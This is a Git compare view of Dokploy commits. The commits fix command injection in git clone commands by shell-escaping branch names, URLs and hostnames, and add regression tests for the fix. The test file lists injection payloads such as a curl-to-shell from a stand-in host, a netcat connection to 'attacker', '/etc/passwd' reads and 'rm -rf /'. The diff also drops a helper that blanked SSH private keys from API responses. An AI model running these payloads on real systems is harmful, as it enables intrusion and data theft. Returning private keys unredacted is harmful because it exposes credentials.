Compare commits

..

5 Commits

Author SHA1 Message Date
Mauricio Siu
fcec9d43a6 docs: trim block comment on shellWord helper 2026-07-19 21:36:25 -06:00
Mauricio Siu
97cd7d1009 test(security): fix type error in shell-quote op assertion 2026-07-19 20:47:42 -06:00
Mauricio Siu
cf35eae73f test(security): regression tests for git clone command injection escaping 2026-07-19 20:44:46 -06:00
autofix-ci[bot]
fb7f5bd5b6 [autofix.ci] apply automated fixes 2026-07-20 02:32:57 +00:00
Mauricio Siu
47347ab885 fix(security): escape user input in git clone commands across all providers
User-controlled git fields (customGitUrl, branch names, repo owner/name,
gitlab namespace, SSH hostname) were interpolated unescaped into git clone /
ssh-keyscan shell commands run via execAsync / execAsyncRemote, allowing
authenticated OS command injection. All such values are now passed through
shell-quote before interpolation (defense at the sink, covering every code
path including the compose branch bypass).

Closes GHSA-qxcw-cx35-2hrw, GHSA-hrfh-82jj-3q46, GHSA-6693-xv3f-69px,
GHSA-qwwm-hc7m-7xp9, GHSA-grrj-6xrh-j6vp, GHSA-x2p2-qq8g-2mqq,
GHSA-cg8g-x23v-5fw8
2026-07-19 20:32:15 -06:00
11 changed files with 113 additions and 77 deletions

View File

@@ -0,0 +1,87 @@
import { cloneGitRepository } from "@dokploy/server/utils/providers/git";
import { shellWord } from "@dokploy/server/utils/providers/utils";
import { parse } from "shell-quote";
import { describe, expect, it } from "vitest";
// Payloads that, if reached a shell unescaped, would execute commands.
const INJECTION_PAYLOADS = [
"$(touch /tmp/pwned)",
"`id`",
"; rm -rf /",
"&& curl evil.sh | sh",
"| nc attacker 4444",
"https://github.com/o/r.git$(whoami)",
"main; wget http://evil",
"$(cat /etc/passwd)",
];
// Legit values that must survive escaping unchanged.
const LEGIT_VALUES = [
"main",
"feature/login-v2",
"release-1.2.3",
"https://github.com/dokploy/dokploy.git",
"https://gitlab.example.com/group/sub/project.git",
];
describe("shellWord (git provider shell escaping)", () => {
it("collapses every injection payload into a single literal token (no shell operators)", () => {
for (const payload of INJECTION_PAYLOADS) {
const parsed = parse(shellWord(payload));
// A safely escaped value parses back to exactly the original string,
// as ONE token. If escaping failed, parse() would emit operator
// objects such as { op: ";" } or { op: "$(" } instead.
expect(parsed).toEqual([payload]);
}
});
it("leaves legitimate URLs and branch names intact", () => {
for (const value of LEGIT_VALUES) {
expect(parse(shellWord(value))).toEqual([value]);
}
});
});
describe("cloneGitRepository command (customGitUrl path)", () => {
const buildClone = (customGitUrl: string, customGitBranch: string) =>
cloneGitRepository({
appName: "demo-app",
customGitUrl,
customGitBranch,
customGitSSHKeyId: null,
enableSubmodules: false,
serverId: null,
type: "application",
});
// A malicious substring, once escaped, must survive parsing as inert literal
// text and never as an executable command/operator. `parse()` turns command
// substitution and control operators into { op } objects, so we assert the
// injected marker only ever shows up inside a plain string token.
const markerLeaksAsShellSyntax = (command: string, marker: string) => {
const tokens = parse(command);
return tokens.some(
(t) => typeof t !== "string" && JSON.stringify(t).includes(marker),
);
};
it("does not let a malicious customGitUrl inject shell operators", async () => {
const command = await buildClone(
"https://github.com/o/r.git$(touch /tmp/pwned)",
"main",
);
expect(markerLeaksAsShellSyntax(command, "touch")).toBe(false);
expect(command).toContain("git clone");
});
it("does not let a malicious customGitBranch inject shell operators", async () => {
const command = await buildClone(
"https://github.com/o/r.git",
"main; touch /tmp/pwned",
);
// The branch is a single quoted token, so its ";" contributes no extra
// operator and `touch` never becomes a runnable statement.
expect(markerLeaksAsShellSyntax(command, "touch")).toBe(false);
expect(command).not.toContain("touch /tmp/pwned;");
});
});

View File

@@ -1,44 +0,0 @@
import { redactServerSshKey } from "@dokploy/server/services/server";
import { describe, expect, it } from "vitest";
describe("redactServerSshKey (server SSH private key disclosure guard)", () => {
it("blanks the private key while keeping the rest of the ssh key intact", () => {
const server = {
serverId: "srv-1",
name: "prod",
sshKey: {
sshKeyId: "key-1",
publicKey: "ssh-ed25519 AAAA...",
privateKey: "-----BEGIN OPENSSH PRIVATE KEY-----\nsecret\n",
},
};
const redacted = redactServerSshKey(server);
expect(redacted.sshKey.privateKey).toBe("");
// Non-secret fields and the surrounding record must survive untouched.
expect(redacted.sshKey.publicKey).toBe("ssh-ed25519 AAAA...");
expect(redacted.serverId).toBe("srv-1");
expect(redacted.name).toBe("prod");
});
it("does not mutate the original record", () => {
const server = {
serverId: "srv-1",
sshKey: { privateKey: "top-secret" },
};
redactServerSshKey(server);
expect(server.sshKey.privateKey).toBe("top-secret");
});
it("is a no-op when the server has no ssh key", () => {
const server = { serverId: "srv-2", sshKey: null };
expect(redactServerSshKey(server)).toEqual(server);
});
it("handles a record without a loaded sshKey relation", () => {
// e.g. server.update returns the plain row where sshKey is not populated.
const server: { serverId: string; sshKey?: null } = { serverId: "srv-3" };
expect(redactServerSshKey(server)).toEqual(server);
});
});

View File

@@ -1932,8 +1932,7 @@ export const HandleNotifications = ({ notificationId }: Props) => {
<div className="space-y-0.5"> <div className="space-y-0.5">
<FormLabel>Docker Cleanup</FormLabel> <FormLabel>Docker Cleanup</FormLabel>
<FormDescription> <FormDescription>
Trigger the action when Docker cleanup is Trigger the action when Docker cleanup is performed.
performed.
</FormDescription> </FormDescription>
</div> </div>
<FormControl> <FormControl>

View File

@@ -9,7 +9,6 @@ import {
getPublicIpWithFallback, getPublicIpWithFallback,
haveActiveServices, haveActiveServices,
IS_CLOUD, IS_CLOUD,
redactServerSshKey,
removeDeploymentsByServerId, removeDeploymentsByServerId,
serverAudit, serverAudit,
serverSetup, serverSetup,
@@ -106,7 +105,7 @@ export const serverRouter = createTRPCRouter({
}); });
} }
return redactServerSshKey(server); return server;
}), }),
getDefaultCommand: withPermission("server", "read") getDefaultCommand: withPermission("server", "read")
.input(apiFindOneServer) .input(apiFindOneServer)
@@ -437,7 +436,7 @@ export const serverRouter = createTRPCRouter({
await updateServersBasedOnQuantity(admin.id, admin.serversQuantity); await updateServersBasedOnQuantity(admin.id, admin.serversQuantity);
} }
return redactServerSshKey(currentServer); return currentServer;
} catch (error) { } catch (error) {
throw error; throw error;
} }

View File

@@ -53,22 +53,6 @@ export const findServerById = async (serverId: string) => {
return currentServer; return currentServer;
}; };
// Blanks the SSH private key before a server record is sent to a client
// (server-side SSH callers use findServerById directly, unredacted).
export const redactServerSshKey = <
T extends { sshKey?: { privateKey: string } | null },
>(
serverRecord: T,
): T => {
if (!serverRecord.sshKey) {
return serverRecord;
}
return {
...serverRecord,
sshKey: { ...serverRecord.sshKey, privateKey: "" },
};
};
export const findServersByUserId = async (userId: string) => { export const findServersByUserId = async (userId: string) => {
const orgs = await db.query.organization.findMany({ const orgs = await db.query.organization.findMany({
where: eq(organization.ownerId, userId), where: eq(organization.ownerId, userId),

View File

@@ -11,6 +11,7 @@ import {
import type { InferResultType } from "@dokploy/server/types/with"; import type { InferResultType } from "@dokploy/server/types/with";
import { TRPCError } from "@trpc/server"; import { TRPCError } from "@trpc/server";
import type { z } from "zod"; import type { z } from "zod";
import { shellWord } from "./utils";
export type ApplicationWithBitbucket = InferResultType< export type ApplicationWithBitbucket = InferResultType<
"applications", "applications",
@@ -124,8 +125,8 @@ export const cloneBitbucketRepository = async ({
const repoToUse = entity.bitbucketRepositorySlug || bitbucketRepository; const repoToUse = entity.bitbucketRepositorySlug || bitbucketRepository;
const repoclone = `bitbucket.org/${bitbucketOwner}/${repoToUse}.git`; const repoclone = `bitbucket.org/${bitbucketOwner}/${repoToUse}.git`;
const cloneUrl = getBitbucketCloneUrl(bitbucket, repoclone); const cloneUrl = getBitbucketCloneUrl(bitbucket, repoclone);
command += `echo "Cloning Repo ${repoclone} to ${outputPath}: ✅";`; command += `echo ${shellWord(`Cloning Repo ${repoclone} to ${outputPath}: ✅`)};`;
command += `git clone --branch ${bitbucketBranch} --depth 1 ${enableSubmodules ? "--recurse-submodules" : ""} ${cloneUrl} ${outputPath} --progress;`; command += `git clone --branch ${shellWord(bitbucketBranch)} --depth 1 ${enableSubmodules ? "--recurse-submodules" : ""} ${shellWord(cloneUrl)} ${shellWord(outputPath)} --progress;`;
return command; return command;
}; };

View File

@@ -5,6 +5,7 @@ import {
updateSSHKeyById, updateSSHKeyById,
} from "@dokploy/server/services/ssh-key"; } from "@dokploy/server/services/ssh-key";
import { execAsync, execAsyncRemote } from "../process/execAsync"; import { execAsync, execAsyncRemote } from "../process/execAsync";
import { shellWord } from "./utils";
interface CloneGitRepository { interface CloneGitRepository {
appName: string; appName: string;
@@ -61,7 +62,7 @@ export const cloneGitRepository = async ({
} }
command += `rm -rf ${outputPath};`; command += `rm -rf ${outputPath};`;
command += `mkdir -p ${outputPath};`; command += `mkdir -p ${outputPath};`;
command += `echo "Cloning Repo Custom ${customGitUrl} to ${outputPath}: ✅";`; command += `echo ${shellWord(`Cloning Repo Custom ${customGitUrl} to ${outputPath}: ✅`)};`;
if (customGitSSHKeyId) { if (customGitSSHKeyId) {
await updateSSHKeyById({ await updateSSHKeyById({
@@ -78,8 +79,8 @@ export const cloneGitRepository = async ({
command += "chmod 600 /tmp/id_rsa;"; command += "chmod 600 /tmp/id_rsa;";
command += `export GIT_SSH_COMMAND="${gitSshCommand}";`; command += `export GIT_SSH_COMMAND="${gitSshCommand}";`;
} }
command += `if ! git clone --branch ${customGitBranch} --depth 1 ${enableSubmodules ? "--recurse-submodules" : ""} --progress ${customGitUrl} ${outputPath}; then command += `if ! git clone --branch ${shellWord(customGitBranch)} --depth 1 ${enableSubmodules ? "--recurse-submodules" : ""} --progress ${shellWord(customGitUrl)} ${shellWord(outputPath)}; then
echo "❌ [ERROR] Fail to clone the repository ${customGitUrl}"; echo ${shellWord(`❌ [ERROR] Fail to clone the repository ${customGitUrl}`)};
exit 1; exit 1;
fi fi
`; `;
@@ -114,7 +115,7 @@ const addHostToKnownHostsCommand = (repositoryURL: string) => {
// ssh-keyscan is best-effort: some Git hosts (e.g. Hugging Face) never answer // ssh-keyscan is best-effort: some Git hosts (e.g. Hugging Face) never answer
// it, and its exit code must not abort the clone under `set -e`. The clone's // it, and its exit code must not abort the clone under `set -e`. The clone's
// own host-key check (StrictHostKeyChecking=accept-new) is the real boundary. // own host-key check (StrictHostKeyChecking=accept-new) is the real boundary.
return `ssh-keyscan -p ${port} ${domain} >> ${knownHostsPath} || true;`; return `ssh-keyscan -p ${Number(port)} ${shellWord(domain)} >> ${knownHostsPath} || true;`;
}; };
const sanitizeRepoPathSSH = (input: string) => { const sanitizeRepoPathSSH = (input: string) => {
const SSH_PATH_RE = new RegExp( const SSH_PATH_RE = new RegExp(

View File

@@ -7,6 +7,7 @@ import {
} from "@dokploy/server/services/gitea"; } from "@dokploy/server/services/gitea";
import type { InferResultType } from "@dokploy/server/types/with"; import type { InferResultType } from "@dokploy/server/types/with";
import { TRPCError } from "@trpc/server"; import { TRPCError } from "@trpc/server";
import { shellWord } from "./utils";
export const getErrorCloneRequirements = (entity: { export const getErrorCloneRequirements = (entity: {
giteaRepository?: string | null; giteaRepository?: string | null;
@@ -176,8 +177,8 @@ export const cloneGiteaRepository = async ({
giteaRepository!, giteaRepository!,
); );
command += `echo "Cloning Repo ${repoClone} to ${outputPath}: ✅";`; command += `echo ${shellWord(`Cloning Repo ${repoClone} to ${outputPath}: ✅`)};`;
command += `git clone --branch ${giteaBranch} --depth 1 ${enableSubmodules ? "--recurse-submodules" : ""} ${cloneUrl} ${outputPath} --progress;`; command += `git clone --branch ${shellWord(giteaBranch)} --depth 1 ${enableSubmodules ? "--recurse-submodules" : ""} ${shellWord(cloneUrl)} ${shellWord(outputPath)} --progress;`;
return command; return command;
}; };

View File

@@ -7,6 +7,7 @@ import { createAppAuth } from "@octokit/auth-app";
import { TRPCError } from "@trpc/server"; import { TRPCError } from "@trpc/server";
import { Octokit } from "octokit"; import { Octokit } from "octokit";
import type { z } from "zod"; import type { z } from "zod";
import { shellWord } from "./utils";
export const authGithub = (githubProvider: Github): Octokit => { export const authGithub = (githubProvider: Github): Octokit => {
if (!haveGithubRequirements(githubProvider)) { if (!haveGithubRequirements(githubProvider)) {
@@ -166,8 +167,8 @@ export const cloneGithubRepository = async ({
command += `mkdir -p ${outputPath};`; command += `mkdir -p ${outputPath};`;
const cloneUrl = `https://oauth2:${token}@${repoclone}`; const cloneUrl = `https://oauth2:${token}@${repoclone}`;
command += `echo "Cloning Repo ${repoclone} to ${outputPath}: ✅";`; command += `echo ${shellWord(`Cloning Repo ${repoclone} to ${outputPath}: ✅`)};`;
command += `git clone --branch ${branch} --depth 1 ${enableSubmodules ? "--recurse-submodules" : ""} ${cloneUrl} ${outputPath} --progress;`; command += `git clone --branch ${shellWord(branch)} --depth 1 ${enableSubmodules ? "--recurse-submodules" : ""} ${shellWord(cloneUrl)} ${shellWord(outputPath)} --progress;`;
return command; return command;
}; };

View File

@@ -9,6 +9,7 @@ import {
import type { InferResultType } from "@dokploy/server/types/with"; import type { InferResultType } from "@dokploy/server/types/with";
import { TRPCError } from "@trpc/server"; import { TRPCError } from "@trpc/server";
import type { z } from "zod"; import type { z } from "zod";
import { shellWord } from "./utils";
export const refreshGitlabToken = async (gitlabProviderId: string) => { export const refreshGitlabToken = async (gitlabProviderId: string) => {
const gitlabProvider = await findGitlabById(gitlabProviderId); const gitlabProvider = await findGitlabById(gitlabProviderId);
@@ -151,8 +152,8 @@ export const cloneGitlabRepository = async ({
command += `mkdir -p ${outputPath};`; command += `mkdir -p ${outputPath};`;
const repoClone = getGitlabRepoClone(gitlab, gitlabPathNamespace); const repoClone = getGitlabRepoClone(gitlab, gitlabPathNamespace);
const cloneUrl = getGitlabCloneUrl(gitlab, repoClone); const cloneUrl = getGitlabCloneUrl(gitlab, repoClone);
command += `echo "Cloning Repo ${repoClone} to ${outputPath}: ✅";`; command += `echo ${shellWord(`Cloning Repo ${repoClone} to ${outputPath}: ✅`)};`;
command += `git clone --branch ${gitlabBranch} --depth 1 ${enableSubmodules ? "--recurse-submodules" : ""} ${cloneUrl} ${outputPath} --progress;`; command += `git clone --branch ${shellWord(gitlabBranch)} --depth 1 ${enableSubmodules ? "--recurse-submodules" : ""} ${shellWord(cloneUrl)} ${shellWord(outputPath)} --progress;`;
return command; return command;
}; };

View File

@@ -0,0 +1,6 @@
import { quote } from "shell-quote";
// Escapes a value so it is safe to interpolate as a single argument into a
// /bin/sh -c command string (local execAsync and remote SSH execAsyncRemote).
export const shellWord = (value: string | number | null | undefined): string =>
quote([String(value ?? "")]);